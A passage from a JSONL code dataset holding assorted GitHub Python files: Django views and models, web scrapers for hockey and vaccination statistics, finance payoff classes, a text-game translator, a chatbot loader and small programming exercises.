формируем порцию данных для вывода согласно current_page\n for row in current_list:\n page_row=dict()\n page_row['Name']=row['Name']\n page_row['Street'] = row['Street']\n page_row['District'] = row['District']\n part_of_data.append(page_row)\n\n\n # формируем prev- и next- URL\n base_URL=reverse('bus_stations')\n if current_page == 1:\n next_page_url = base_URL + '?' + urlencode({'page':2})\n prev_page_url = None\n elif current_page == total_pages:\n next_page_url = None\n prev_page_url = base_URL + '?' + urlencode({'page':total_pages-1})\n else:\n next_page_url = base_URL + '?' + urlencode({'page':current_page + 1})\n prev_page_url = base_URL + '?' + urlencode({'page': current_page - 1})\n\n return render_to_response('index.html', context={\n #'bus_stations': [{'Name': 'название', 'Street': 'улица', 'District': 'район'}],\n 'bus_stations': part_of_data,\n 'current_page': current_page,\n 'prev_page_url': prev_page_url,\n 'next_page_url': next_page_url,\n })\n\n","repo_name":"Seb-01/HWsBlok4-2","sub_path":"request-handling/pagination/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1024697908","text":"from datetime import time\n\nfrom django.db import models\nfrom django.utils.functional import cached_property\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom ..config import INPUT_AMOUNT, INPUT_TYPES\nfrom ..exceptions import InvalidFoodTypeAmount\n\n\nclass FoodType(models.Model):\n\n class Meta:\n verbose_name = _('type etenswaar')\n verbose_name_plural = _('type etenswaren')\n\n def __str__(self):\n return self.name\n\n name = models.CharField(\n max_length=191,\n verbose_name=_('naam'),\n help_text=_('Naam.')\n )\n quantifier = models.CharField(\n max_length=191,\n blank=True,\n null=True,\n verbose_name=_('eenheid'),\n help_text=_(\n 'Naam van de eenheid van eten, vb: \"broodjes\", \"broden\"...'\n )\n )\n inputtype = models.PositiveIntegerField(\n choices=INPUT_TYPES,\n default=INPUT_TYPES[0][0],\n verbose_name=_('invoer type'),\n help_text=_(\n 'Invoer type die aanduid hoe de hoeveelheid ingegeven moet en '\n 'kan worden.'\n )\n )\n store = models.ForeignKey(\n 'Store',\n on_delete=models.CASCADE,\n verbose_name=_('winkel'),\n help_text=_('Winkel.')\n )\n wait = models.DurationField(\n default=None,\n null=True,\n blank=True,\n verbose_name=_('wachttijd'),\n help_text=_(\n 'Minimum tijd dat op voorhand besteld moet worden. Indien dit '\n 'niet ingesteld is, dan wordt de wachttijd van de winkel '\n 'overgenomen.'\n )\n )\n preorder_time = models.TimeField(\n default=time(hour=12),\n verbose_name=_('tijd voorafgaande bestelling'),\n help_text=_(\n 'Indien bepaalde waren meer dan een dag op voorhand besteld moeten '\n 'worden, moeten ze voor dit tijdstip besteld worden.'\n )\n )\n preorder_days = models.IntegerField(\n default=None,\n null=True,\n blank=True,\n verbose_name=_('dagen op voorhand bestellen'),\n help_text=(\n 'Minimum dagen op voorhand bestellen voor het uur ingesteld op '\n 'de winkel. (0 is dezelfde dag, >=1 is dat aantal dagen voor het '\n 'bepaalde uur.) Indien dit niet ingesteld is, dan is '\n 'voorbestellen uitgeschakeld voor dit type etenswaar.'\n )\n )\n\n @cached_property\n def inherited_wait(self):\n return self.wait \\\n if self.wait is not None \\\n else self.store.wait\n\n def is_valid_amount(self, amount, quantity=None, raise_exception=True):\n \"\"\"Check whether the given amount is valid for the foodtype.\n\n Args:\n amount: Food amount.\n quantity: Quantity model. (default: {None})\n raise_exception: Raise an exception if invalid. (default: {True})\n\n Returns:\n Valid returns True, invalid returns False.\n bool\n\n Raises:\n InvalidFoodTypeAmount: Raised if invalid amount.\n \"\"\"\n is_valid = (\n amount > 0 and (\n self.inputtype != INPUT_AMOUNT or\n float(amount).is_integer()\n ) and (\n quantity is None or\n quantity.minimum <= amount <= quantity.maximum\n )\n )\n\n if not is_valid and raise_exception:\n raise InvalidFoodTypeAmount()\n return is_valid\n","repo_name":"ssprasad100/Lunchbreak_backend_again","sub_path":"lunchbreak/lunch/models/food_type.py","file_name":"food_type.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10182555363","text":"import sys\n\ninput = lambda : sys.stdin.readline().rstrip()\n\nn = int(input())\ntarget_list = list(map(int, input().split()))\n\nk = int(input())\nreq_list = list(map(int, input().split()))\n\n\ndef binary(arr, start, end, target):\n while start <= end:\n mid = (start + end) // 2\n # print(f\"start = {start} \\t end = {end} \\t mid = {mid}\")\n if arr[mid] == target:\n return \"1\"\n elif arr[mid] < target:\n start = mid + 1\n else:\n end = mid - 1\n return \"0\"\n\ntarget_list.sort()\n# print(target_list)\nfor part in req_list:\n print(binary(target_list, 0, n-1, part))\n","repo_name":"minsu4107/Algorithm","sub_path":"Back/실딱이/1920. 수찾.py","file_name":"1920. 수찾.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24836491894","text":"class BasicLevelTranslator:\n def __init__(self):\n pass\n\n def translate(self, state, nrow=4, ncol=4):\n row, col = state // nrow, state % ncol\n res = f\"The current position of the player is at row {row}, column {col}.\"\n return res\n\nclass GameDescriber:\n def __init__(self, args):\n self.is_only_local_obs = args.is_only_local_obs == 1\n self.max_episode_len = args.max_episode_len\n self.action_desc_dict = {\n 1: \"Move left\",\n 2: \"Move down\",\n 3: \"Move right\",\n 4: \"Move up\",\n }\n self.reward_desc_dict = {\n 1: \"which lets him reach the goal and receive 1 reward\",\n 0: \"which lets him receive 0 reward\"\n }\n\n def describe_goal(self):\n return f\"The goal is to navigate across the frozen lake and reach the goal position {'located at (3,3)' if not self.is_only_local_obs else ''} without falling into any holes{', which are located at (1,1), (1,3), (2,3) and (3,0)' if not self.is_only_local_obs else ''}.\"\n\n def translate_terminate_state(self, state, episode_len, max_episode_len): \n state = int(state)\n nrows = 4\n current_row = state // nrows\n current_col = state % nrows\n if current_row == 3 and current_col == 3:\n return f\"The player reaches the goal location ({current_row}, {current_col}) in the grid world.\"\n else: \n if (current_row, current_col) in [(1,1), (1, 3), (2,3), (3, 0)]:\n return f\"The game ends due to step into a hole locating at {(current_row, current_col)}.\"\n else:\n return f\"The game ends due to reach the max episode length {episode_len} and the player does not reach the goal.\"\n\n def translate_potential_next_state(self, state, action):\n state = int(state)\n nrows = 4\n current_row = state // nrows\n current_col = state % nrows\n action = str(action)\n if action == '1':\n current_col -= 1\n elif action == '2':\n current_row += 1\n elif action == '3':\n current_col += 1\n elif action == '4':\n current_row -= 1\n return f\"He tries to step into location ({current_row}, {current_col}),\"\n\n def describe_game(self):\n return \"In the FrozenLake game, the player starts at the start position of the grid and tries to reach the\" \\\n f\" goal position {'located at (3,3)' if not self.is_only_local_obs else ''}. There are holes which the player must avoid{'. These holes are located at (1,1), (1,3), (2,3) and (3,0)' if not self.is_only_local_obs else ''}. The frozen lake is \" \\\n \"slippery, meaning that the player might not always move in the intended direction. The game ends\" \\\n \" when the player reaches the goal or falls into a hole.\"\n\n def describe_action(self):\n return (\"Your Next Move: \\n Please choose an action. For current position ('x', 'y'), the action means the player try to step into the next position. The possible actions are:\" \\\n \"\\n '1': Move left, which means ('x', 'y-1'), \" \\\n \"\\n '2': Move down, which means ('x+1', 'y'),\" \\\n \"\\n '3': Move right, which means ('x', 'y+1'),\" \\\n \"\\n '4': Move up, which means trying to step into ('x-1', 'y').\" \\\n \" Ensure you only provide the action number from the valid action list, i.e., [1, 2, 3, 4].\")\n\nclass BasicStateSequenceTranslator(BasicLevelTranslator):\n def translate(self, infos, is_current=False):\n descriptions = []\n if is_current:\n state_desc = BasicLevelTranslator().translate(infos[-1]['state'])\n return state_desc\n for i, info in enumerate(infos):\n assert 'state' in info, \"info should contain state information\"\n\n state_desc = BasicLevelTranslator().translate(info['state'])\n action_directions = ['left', 'down', 'right', 'up']\n action_desc = f\"Take Action: Move {action_directions[info['action']-1]} ({info['action']}).\"\n reward_desc = f\"Result: Reward of {info['reward']}, \"\n next_state_desc = BasicLevelTranslator().translate(info['next_state'])\n descriptions.append(f\"{state_desc}.\\n {action_desc} \\n {reward_desc} \\n Transit to {next_state_desc}\")\n return descriptions\n","repo_name":"mail-ecnu/Text-Gym-Agents","sub_path":"envs/toy_text/frozenlake_translator.py","file_name":"frozenlake_translator.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16882723973","text":"import os.path\nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport csv\nimport pandas as pd\n\n\nsarja = \"u16-sm-sarja\"\nkausi = \"2014-2015\"\nmeasures = [\"?never-played-in-league\",\"?has-played-in-league\"]\nseasons = [\"2006-2007\",\"2007-2008\",\"2008-2009\",\"2009-2010\",\"2010-2011\",\"2011-2012\",\"2012-2013\",\"2013-2014\",\"2014-2015\",\"2015-2016\"] #we want to fetch data from 10 seasons\npage = 1\nMadeItURL = f\"https://www.eliteprospects.com/league/{sarja}/stats/{kausi}?has-played-in-league=Liiga&page={page}\"\nNotItURL = f\"https://www.eliteprospects.com/league/{sarja}/stats/{kausi}?never-played-in-league=Liiga&page={page}\"\nSignInURL = \"https://www.eliteprospects.com/login?previous=https://www.eliteprospects.com\"\n\n\nfulldata = []\n\n#URL = f\"https://www.eliteprospects.com/league/{sarja}/stats/{kausi}?page={page}\"\nURL = NotItURL\nprint(URL)\ndriver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))\ndriver.get(SignInURL)\nsleep(25)\ndriver.get(URL)\nsleep(4) #give the website time to render properly, to ensure all data is fetched\n#html = driver.page_source #not necessarily needed but lets keep it just in case\n#singlepalyerdata = driver.find_elements(by=By.XPATH, value= \"/html/body/section/div/div[1]/div[4]/div[4]/div[1]/div/div[4]/table/tbody[1]/tr[1]\")\n#playerdata = driver.find_elements(by=By.XPATH, value=\"/html/body/section/div/div[1]/div[4]/div[4]/div[1]/div/div[4]/table/tbody\")\ndef seasonIterator():\n for season in seasons: #go through all the seasons\n for measure in measures: #go through those who made it in Liiga and those who didn't\n page = 1\n while page > 0:\n pURL = f\"https://www.eliteprospects.com/league/{sarja}/stats/{season}{measure}=Liiga&page={page}\"\n driver.get(pURL)\n sleep(2)\n pdata = driver.find_elements(by=By.XPATH, value=\"/html/body/section/div/div/div[2]/div[4]/div[1]/div/div[4]/table/tbody/tr\")\n if len(pdata) > 0:\n page = page + 1\n cleanwosuccessfactor = datacleaner(pdata)\n for player in cleanwosuccessfactor:\n player.append(measures.index(measure)) #adds 0 to those who didn't make it and 1 to those who made it\n player.append(season)\n with open(\"MLplayerdata2.csv\", \"a\", newline='') as file:\n writer = csv.writer(file)\n for player in cleanwosuccessfactor:\n writer.writerow(player)\n else: page = 0\n \ndef datacleaner(dataset):\n sorteddata = []\n cleanplayerdata = []\n for dp in dataset:\n dp = dp.text\n dp = dp[dp.index(' '):] #remove the number before the name, since it's irrelevant\n dp = dp.split() #turn the string into a list of data\n #the data is as follows [firstname, lastname, position, team, league,(possibly academy), GP, G, A, T, PPG, PIM, +/-]\n \n if len(dp) == 13: #these if elses combine the texts signifying teams\n team = dp[3]+' '+dp[4]+' '+dp[5]\n del dp[5]\n del dp[4]\n dp[3] = team\n elif len(dp) == 12:\n team = dp[3]+' '+dp[4]\n del dp[4]\n dp[3] = team\n sorteddata.append(dp)\n\n \n for dp in sorteddata: #selecting a team for players who have played in 2 or more teams during the season\n if len(dp) == 11: #this eliminates empty rows and rows containing faulty data i.e. teams only\n if dp[3] == 'totals':\n nextrow = sorteddata[sorteddata.index(dp)+1]\n dp[3] = nextrow[0] + nextrow[1]\n cleanplayerdata.append(dp)\n return cleanplayerdata\n\n\nplayerdata = driver.find_elements(by=By.XPATH, value=\"/html/body/section/div/div/div[2]/div[4]/div[1]/div/div[4]/table/tbody/tr\")\n \nseasonIterator()\n\ndriver.quit()\n","repo_name":"paultwl/ML_icehockey","sub_path":"Machine Learning Hockey/eliteprospects_crawler kopio.py","file_name":"eliteprospects_crawler kopio.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"86359772445","text":"from gpynance.instruments import cashflow\n\nclass MaskedPayoff:\n \"\"\"\n get_mask_and_cash method returns the mask and the payment ON the mask\n For example, if the output mask is [True, False, True], then the length of output pay is 2\n \"\"\"\n def __init__(self, condition, payment, payment_date):\n self.condition = condition\n self.payment = payment\n self.payment_date = payment_date\n\n def get_mask_and_cash(self, multi_path, mask=None): \n \"\"\"\n get_mask_and_cash(self, multi_path, mask=None)\n\n This returns like mask = [True, False, False, True], pay = [0.01, 0.01]\n \"\"\"\n met = self.condition(multi_path, mask)\n pay = self.payment(multi_path, met)\n return met, pay\n\nclass ElsRedemptionPayoff:\n def __init__(self, redemption, monthly_coupon, path_barrier_payoff = None, knockin_payoff = None):\n \"\"\"\n All Payoffs are MaskedPayoff\n \"\"\"\n self.redemption = redemption\n self.monthly_coupon = monthly_coupon\n self.path_barrier_payoff = path_barrier_payoff\n self.knockin_payoff = knockin_payoff\n \n def set_cashflow(self, cashflowtable, multi_path, discount_curve, masking_ratio = 0.1):\n \"\"\"\n set_cashflow(cashflowtable, multi_path, discount_curve, masking_ratio=1.0)\n\n masking_ratio is a criterion for masking condition.\n For example, the remaining path not redemped until maturity is under 10% (=masking_ratio)\n the path barrier check is under the masked path.\n \"\"\"\n not_redemped = cashflowtable.not_redemped\n \n for coupon in self.monthly_coupon:\n # e.g., mask_c = [True, False, False, True], pay_c = [0.01, 0.01]\n met_c, pay_c = coupon.get_mask_and_cash(multi_path)\n pay_c *= discount_curve.discount(coupon.payment_date)\n cashflowtable.add_cashflow(met_c, pay_c)\n # check range\n met_redem, pay_redem = self.redemption.get_mask_and_cash(multi_path)\n pay_redem *= discount_curve.discount(self.redemption.payment_date)\n cashflowtable.set_redemption(self.redemption.payment_date, met_redem, pay_redem)\n \n # check path_barrier\n if (self.path_barrier_payoff is None) or (len(self.path_barrier_payoff) == 0):\n return None\n \n not_redemped = cashflowtable.not_redemped\n if np.sum(not_redemped) / not_redemped.shape[0] < masking_ratio:\n met_lz, pay_lz = self.path_barrier_payoff.get_mask_and_cash(multi_path, not_redemped)\n pay_lz *= discount_curve.discount(self.path_barrier_payoff.payment_date)\n cashflowtable.set_redemption(self.redemption.payment_date, met_lz, pay_lz, under_redemped = True)\n else:\n met_lz, pay_lz = self.path_barrier_payoff.get_mask_and_cash(multi_path)\n pay_lz *= discount_curve.discount(self.path_barrier_payoff.payment_date)\n cashflowtable.set_redemption(self.redemption.payment_date, met_lz, pay_lz, under_redemped = False)\n\n # is there a knockin? \n if (self.knockin_payoff is None) or (len(self.knockin_payoff) == 0):\n return None\n # The following highly likely has changed after checking path_barrier redemption (or maturity)\n not_redemped = cashflowtable.not_redemped \n _, pay_ki = self.knockin_payoff.get_mask_and_cash(multi_path, not_redemped)\n pay_ki *= discount_curve.discount(self.knockin_payoff.payment_date)\n cashflowtable.cashflow[not_redemped] = pay_ki\n cashflowtable.redemption_date[not_redemped] = self.knockin_payoff.payment_date\n \nclass CallableFloaterPayoff:\n def __init__(self, schedules, spread=0.0):\n self.schedules = schedules # (fixing, start, end, pay)\n self.spread = spread\n\n def set_swapcashflow(self, swap_cft, redemption_date, index, discount_curve):\n swap_payments = []\n for sc in schedules:\n if sc.payment_date < multi_path.dtg.ref_date.date:\n continue\n d = sc.payment_date\n p = (index.fixing(sc.fixing) + self.spread)\n p *= index.dc.yearFraction(sc.calc_start, calc_end)\n p *= discount_curve.discount(d)\n swap_payments.append((d, p))\n\n for i, dp in enumerate(swap_payments):\n cond = dp[0].serialNumber() <= redemption_date\n swap_cft.add_cashflow(cond, dp[1])\n \n\n\"\"\"\nclass Payoff:\n \n get_mask_and_cash method returns the mask and the payment ON the mask\n For example, if the output mask is [True, False, True], then the length of output pay is 2\n \n def __init__(self, condition, payment_met, payment_notmet, payment_date):\n self.condition = condition\n self.payment = payment\n self.payment_date = payment_date\n self.payment_notmet = payment_notmet\n\n def get_mask_and_cash(self, multi_path, mask=None):\n \n This returns like mask = [True, False, False, True], pay = [0.01, 0.01]\n \n met = self.condition(multi_path, mask)\n notmet = np.logical_not(met)\n pay_met = self.payment_met(multi_path, met)\n pay_notmet = self.payment_notmet(multi_path, notmet)\n res = np.zeros(met.shape[0], dtype=multi_path.single_paths[0].dtype)\n res[met] = pay_met\n res[notmet] = pay_notmet\n return met, res\n\"\"\"\n","repo_name":"JunbeomL22/gpynance-0.0.1","sub_path":"gpynance/instruments/payoff.py","file_name":"payoff.py","file_ext":"py","file_size_in_byte":5371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71400622913","text":"import time\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom webdriver_manager.firefox import GeckoDriverManager\n\nurl = 'https://qsprod.saude.gov.br/extensions/DEMAS_C19Vacina/DEMAS_C19Vacina.html'\n\nprofile = webdriver.FirefoxProfile()\nprofile.set_preference(\"browser.download.folderList\", 2)\nprofile.set_preference(\"browser.download.manager.showWhenStarting\", False)\nprofile.set_preference(\"browser.download.dir\",\n '/home/daniel/Documentos/python/dados-vacinacao-ms/')\nprofile.set_preference(\"browser.helperApps.neverAsk.saveToDisk\",\n \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\")\n\noptions = Options()\noptions.headless = True\n# Auto configuração de GeckoDriver\ndriver = webdriver.Firefox(\n executable_path=GeckoDriverManager().install(), firefox_profile=profile)\n\ndriver.get(url)\ntime.sleep(120)\nprint('chegou aqui!')\n\nelement = \"//table[@class='ng-scope']//td\"\n\ntry:\n driver.execute_script(\"document.querySelector('table').scrollIntoView()\")\nexcept:\n time.sleep(10)\n driver.execute_script(\"document.querySelector('table').scrollIntoView()\")\nc = 1\nfor e in WebDriverWait(driver, 10).until(EC.visibility_of_all_elements_located((By.XPATH, element))):\n # print(e.text, \"index: \", c)\n if c == 7:\n e.click() # Click no + de Nordeste\n time.sleep(2)\n\n if c == 14:\n e.click() # Click no + de AL\n time.sleep(5)\n break\n c += 1\n\nc = 1\nresults = driver.find_elements_by_xpath(\"//table[@class='ng-scope']//td\")\nfor result in results:\n # print(result.text, \"index: \", c)\n if c == 56:\n result.click() # Click no + do PI\n time.sleep(3)\n break\n c += 1\n\nelement = driver.find_element_by_xpath(\n \"//table[@class='ng-scope']\")\nhtml_content = element.get_attribute('outerHTML')\n\nsoup = BeautifulSoup(html_content, 'html.parser')\n# results = driver.find_elements_by_xpath(\"//table[@class='ng-scope']//tr//td\")\n\n\nprint(soup)\n# c = 1\n# for result in results:\n# print(result.text, \"-- \\tindex: \", c)\n# c += 1\n\n# time.sleep(5) # Tempo para requisição de PI\n\n# # driver.execute_script(\n# # \"document.querySelector('.lui-icon--tick').scrollIntoView()\")\n\n# # driver.find_element_by_xpath(\n# # \"//*[@class='sel-toolbar-span-icon lui-icon ng-binding lui-icon--tick']\").click()\n\n# time.sleep(1000)\n\n# driver.find_element_by_xpath(\n# \"//*[contains(text(), 'Baixar Dados por Município')]\").click()\n\n# time.sleep(10)\n# print('acabou!')\n\n# driver.quit()\n","repo_name":"CarlosDaniel0/vacinacao-pi","sub_path":"app/scraping/beta.py","file_name":"beta.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17305632455","text":"def ex20_3_1():\n global family_member\n # Задача 1. Член семьи\n #\n # Дана структура, которая содержит описание одного из членов семьи (имя, фамилия, хобби, сколько лет и дети):\n #\n family_member = {\n \"name\": \"Jane\",\n \"surname\": \"Doe\",\n \"hobbies\": [\"running\", \"sky diving\", \"singing\"],\n \"age\": 35,\n \"children\": [\n {\n \"name\": \"Alice\",\n \"age\": 6\n },\n {\n \"name\": \"Bob\",\n \"age\": 8\n }\n ]\n }\n\n #\n # Напишите программу, которая реализует такую структуру: имя, фамилия, хобби, количество лет и дети. Затем с\n # помощью метода get и установки значения по умолчанию проверьте, есть ли ребёнок с именем Bob. Затем так же\n # проверьте ребёнка с именем Rob. Если такого ребёнка нет, то получите значение Noname.\n def check_child(name):\n list_of_children = family_member['children']\n if list_of_children is not None:\n for child in list_of_children:\n if child.get('name') == name:\n return True\n\n print(check_child('Rob'))\n print(check_child('Bob'))\n\n\ndef ex20_3_2():\n # Задача 2. Игроки\n #\n # Есть готовый словарь игроков, у каждого игрока есть имя, команда, в которой он играет, а также его текущий статус,\n # в котором указано, отдыхает он, тренируется или путешествует:\n players_dict = {\n 1: {'name': 'Vanya', 'team': 'A', 'status': 'Rest'},\n 2: {'name': 'Lena', 'team': 'B', 'status': 'Training'},\n 3: {'name': 'Maxim', 'team': 'C', 'status': 'Travel'},\n 4: {'name': 'Egor', 'team': 'C', 'status': 'Rest'},\n 5: {'name': 'Andrei', 'team': 'A', 'status': 'Training'},\n 6: {'name': 'Sasha', 'team': 'A', 'status': 'Rest'},\n 7: {'name': 'Alina', 'team': 'B', 'status': 'Rest'},\n 8: {'name': 'Masha', 'team': 'C', 'status': 'Travel'}\n }\n # Напишите программу, которая выводит на экран вот такие данные в разных строчках:\n #\n # Все члены команды из команды А, которые отдыхают.\n # Все члены команды из группы B, которые тренируются.\n # Все члены команды из команды C, которые путешествуют.\n print([player['name']\n for player in players_dict.values()\n if player.get('status') == 'Rest' and player.get('team') == 'A'\n ]\n )\n print([player['name']\n for player in players_dict.values()\n if player.get('team') == 'B' and player.get('status') == 'Training'\n ]\n )\n print([player['name']\n for player in players_dict.values()\n if player.get('team') == 'C' and player.get('status') == 'Travel'\n ]\n )\n","repo_name":"Gegcuk/skillbox","sub_path":"python_for_data_science/lesson20_base_collections_3_dicts/ex20.3.py","file_name":"ex20.3.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71550526593","text":"from django.conf.urls import url\nfrom . import views\nfrom django.views.generic.base import RedirectView\napp_name= 'm9adery'\nurlpatterns = [\n url(r'^$',views.IndexHomeView.as_view(),name='homepage'),\n url(r'^blocks/$', views.BlockIndexView.as_view(), name='blocks'),\n url(r'^books/(?P[0-9]+)/$', views.show_book, name='bookdetail'),\n url(r'^blocks/(?P[0-9]+)/$', views.BlockDetailView.as_view(), name='blockdetail'),\n url(r'^blocks/(?:(?P\\d+)/)?category/(?P\\d+)',views.show_blockcategory,name='categorybooks'),\n url(r'blocks/category/add/$', views.CategoryCreate.as_view(), name='category-add'),\n url(r'^categories/$', views.CategoryIndexView.as_view(), name='category'),\n url(r'^category/(?P\\d+)/$', views.show_category, name='categorydetail'),\n\n #url(r'^blocks/(?P\\d+)/category/(?P[0-9]+)/$', views.show_category, name='categorybooks'),\n url(r'books/add/$', views.BookCreate.as_view(), name='book-add'),\n #url(r'^blocks/(?:(?P\\d+)/)?category/(?P\\d+)/books/add/$', views.add_book, name='book-add'),\n #m9adery/books/1/edit\n url(r'books/(?P[0-9]+)/edit/$', views.BookUpdate.as_view(), name='book-update'),\n url(r'books/(?P[0-9]+)/confirm_delete/$', views.BookDelete.as_view(), name='book-confirm_delete'),\n url(r'books/(?P[0-9]+)/delete/$', views.BookDelete.as_view(), name='book-delete'),\n url(r'books/(?P[0-9]+)/comment/add/$', views.add_comment, name='comment-add'),\n url(r'^books/$',views.IndexView.as_view(),name='books'),\n url(r'^index/$', views.index, name='index'),\n\n #/m9adery/books/add/\n #url(r'^books/(?P[0-9]+)/edit$', views.editbook, name='editbook'),\n #url(r'^books/$', views.index,name='books'),\n]","repo_name":"AbdulrahmanSami/M9adery","sub_path":"blocks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18459771571","text":"import torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer\nfrom nlp.conversation import get_default_conv_template\n\ndef setup_chatbot():\n tokenizer = AutoTokenizer.from_pretrained(\"GeneZC/MiniChat-3B\", use_fast=False, legacy=False)\n model = AutoModelForCausalLM.from_pretrained(\"GeneZC/MiniChat-3B\", use_cache=True, device_map=\"auto\",\n torch_dtype=torch.float16).eval()\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n return tokenizer, model, device\n\ntokenizer, model, device = setup_chatbot()\n\ndef generate_response(question):\n conv = get_default_conv_template(\"minichat\")\n conv.append_message(conv.roles[0], question)\n conv.append_message(conv.roles[1], None)\n\n prompt = conv.get_prompt()\n input_ids = tokenizer([prompt]).input_ids\n\n output_ids = model.generate(\n torch.as_tensor(input_ids).to(device),\n do_sample=True,\n temperature=0.7,\n max_new_tokens=1024,\n )\n\n output_ids = output_ids[0][len(input_ids[0]):]\n output = tokenizer.decode(output_ids, skip_special_tokens=True).strip()\n\n return output\n","repo_name":"SakethGanji/digital-wardrobe-recommendation","sub_path":"nlp/mini_chat_3b.py","file_name":"mini_chat_3b.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17666711154","text":"\"\"\"\n{\n\t\"difficulty\": \"medium\",\n\t\"link\": \"https://leetcode.com/problems/sort-colors/description/\",\n\t\"category\": [\"greedy\"],\n\t\"tags\": [\"binary-search\"]\n}\n\"\"\"\n\ndef binarySearch(item,s):\n if item > s[-1]:\n return None\n i,j = 0,len(s)-1\n while i<=j:\n if s[i] >= item:\n return i, s[i]\n mid = (i+j)//2\n if s[mid]>=item:\n j = mid\n elif s[mid]= childG, (cookieSize, childG)\n count += 1\n s.pop(cookieIdx)\n else:\n break\n else :\n break\n return count\n \n","repo_name":"DanqiChang/leetcode-notes","sub_path":"solutions/455.py","file_name":"455.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41619025162","text":"#Please state any assumptions you’ve made\r\n\r\n#multiples of A until X\r\ndef multiples(a,b):\r\n for x in range(b+1):\r\n if x % a == 0 and x != 0: #added != 0 to stop 0 from printing\r\n print(x)\r\n\r\n#user can change mutiples(a) up to any number(b) below\r\n#this example will print multiples of 5 up until 50\r\n\r\nmultiples(5,50)\r\n\r\n\r\n#then in multiples of A + 1 until 2X,\r\ndef multiple2(a,b):\r\n b=b*2 \r\n x=0\r\n if x <= b:\r\n a=a+1\r\n x+=1\r\n for y in range(b+1):\r\n if y <= b and y % a == 0:\r\n print(y)\r\n \r\n#same as above, user can change multiples(a) up to any number (b)\r\n#this example will print out the multiples of (2+1) until (2x10) is reached \r\n\r\nmultiple2(2,10)\r\n\r\n#then multiples of A + 2 until 3X\r\ndef multiple3(a,b):\r\n b=b*3\r\n x=0\r\n if x <= b:\r\n a=a+2\r\n x+=1\r\n for y in range(b+1):\r\n if y <= b and y % a == 0:\r\n print(y)\r\n\r\n#this example will print out multiples of (2+2) until (3x10) is reached\r\n\r\nmultiple3(2,10)\r\n\r\n","repo_name":"emilytaylor9/codeTest2i","sub_path":"codeTest.py","file_name":"codeTest.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15928000001","text":"# Convert Celsius To Fahrenheit \r\n# Given a temperature in celsius C. You need to convert the given temperature to Fahrenheit.\r\n\r\n# Input:\r\n# The first line of input contains T, denoting number of testcases. Each testcase contains single integer C denoting the temperature in celsius.\r\n\r\n# Output:\r\n# For each testcase, in a new line, output the temperature in fahrenheit.\r\n\r\n# Your Task:\r\n# This is a function problem. You only need to complete the function CtoF that takes C as parameter and returns temperature in fahrenheit( in double). The flooring and printing is automatically done by the driver code.\r\n\r\n# Note : Complete the task in constant time and space complexity.\r\n\r\n# Constraints:\r\n# 1 <= T <= 100\r\n# 1 <= C <= 104\r\n\r\n# Example:\r\n# Input:\r\n# 2\r\n# 32\r\n# 50\r\n# Output:\r\n# 89\r\n# 122\r\n\r\n\r\n#User function Template for python3\r\n\r\n##Complete this function\r\ndef cToF(C):\r\n #Your code here\r\n return ((C*1.8)+32)\r\n\r\n\r\n\r\n#{ \r\n#Driver Code Starts.\r\ndef main():\r\n \r\n T=int(input())\r\n \r\n while(T>0):\r\n C=int(input())\r\n print(math.floor(cToF(C)))\r\n T-=1\r\n \r\n \r\n\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n main()\r\n#} Driver Code Ends","repo_name":"sampoprock/GeeksforGeeks-leetcode","sub_path":"convertcelsiustofahrenheit.py","file_name":"convertcelsiustofahrenheit.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34772200451","text":"from itertools import chain\nfrom typing import List, Tuple, Any, Iterator\n\nfrom face_recognition_benchmarks.base import TrainableModel\nfrom face_recognition_benchmarks.datasets.lfw.lfw_parser import classified_data\nfrom face_recognition_benchmarks.datasets.lfw.paths import base\n\narranged_dataset = classified_data()\n\n\ndef load_folds() -> List[List[Tuple[str, str]]]:\n folds_spec = base / 'people.txt'\n\n with folds_spec.open() as f:\n folds = [[] for _ in range(int(f.readline()))]\n\n for fold in folds:\n num_samples 